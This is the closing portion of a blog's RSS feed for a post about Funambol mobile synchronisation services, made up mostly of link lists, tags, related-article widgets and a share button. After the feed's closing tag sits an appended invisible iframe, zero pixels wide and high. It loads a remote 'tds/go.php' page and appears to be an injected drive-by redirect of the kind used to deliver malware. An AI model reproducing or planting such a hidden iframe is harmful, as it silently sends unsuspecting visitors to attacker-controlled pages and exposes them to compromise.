<li><a href="http://www.funambol.com/">www.funambol.com</a> – official Funambol corporation website </li>
<li><a href="http://www.forge.funambol.org/">www.forge.funambol.org</a> – official Funambol Open Source website </li>
<li><a href="http://my.funambol.com/" target="_blank">my.Funambol.com</a> – free 90 days trial on how Funambol service looks like </li>
<li><a href="http://www.vitraining.com/">www.vitraining.com</a> – provides installation, implementation, integrating, development and extending Funambol services worldwide</li>
</ul>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:943f2e0b-f3a4-4489-afb7-496640056d89" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/funambol" rel="tag">funambol</a>,<a href="http://technorati.com/tags/syncml" rel="tag">syncml</a>,<a href="http://technorati.com/tags/synchronization" rel="tag">synchronization</a>,<a href="http://technorati.com/tags/company" rel="tag">company</a>,<a href="http://technorati.com/tags/services" rel="tag">services</a></div>
</p>
</p>
</p>
<div class="zemanta-related">
<h6 style="font-size: 1em" class="zemanta-related-title">Related articles by Zemanta</h6>
<ul class="zemanta-article-ul">
<li class="zemanta-article-ul-li"><a href="http://techie-buzz.com/featured/send-100mb-attachments-yahoo-mail.html?utm_source=subscriber&amp;utm_medium=rss&amp;utm_campaign=rss">Send 100MB Attachments With Yahoo Mail</a> (techie-buzz.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.makeuseof.com/tag/10-productivity-tips-for-the-quickfire-outlook-2007-user/">10 Powerful Productivity Tips For The Quickfire Outlook 2007</a> (makeuseof.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.technologyreview.com/communications/23705/">Tying Down Android</a> (technologyreview.com)</li>
<li class="zemanta-article-ul-li"><a href="http://www.computerworld.com/s/article/9137755/E_Mail_Strategies_Attachments_Subject_Lines?source=rss_software">E-Mail Strategies: Attachments, Subject Lines</a> (computerworld.com)</li>
</ul></div>
<div style="margin-top: 10px; height: 15px" class="zemanta-pixie"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/f8b03c5a-016f-4311-a32a-d97cb75f508f/"><img style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" class="zemanta-pixie-img" alt="Reblog this post [with Zemanta]" src="http://img.zemanta.com/reblog_e.png?x-id=f8b03c5a-016f-4311-a32a-d97cb75f508f" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2010/02/funambol-mobile-open-source-book-released/" rel="bookmark">Funambol Mobile Open Source Book Released</a></li><li><a href="http://www.dijexi.com/2009/07/wordpress-mobile-blogging-using-blackberry/" rel="bookmark">WordPress Mobile Blogging Using BlackBerry</a></li><li><a href="http://www.dijexi.com/2010/01/driving-traffic-into-a-brand-new-website-within-24-hours/" rel="bookmark">Driving Traffic Into A Brand New Website Within 24 hours</a></li><li><a href="http://www.dijexi.com/2009/07/ms-exchange-hosting-list/" rel="bookmark">MS Exchange Hosting List</a></li><li><a href="http://www.dijexi.com/2009/09/tips-for-using-the-rite-keywords-for-marketing-your-website/" rel="bookmark">Tips for using the rite keywords for marketing your website</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F10%2Ffunambol-for-blackberry-like-capabilities-on-cheap-handsets%2F&amp;linkname=Funambol%20for%20BlackBerry-like%20capabilities%20on%20cheap%20handsets"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/10/funambol-for-blackberry-like-capabilities-on-cheap-handsets/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
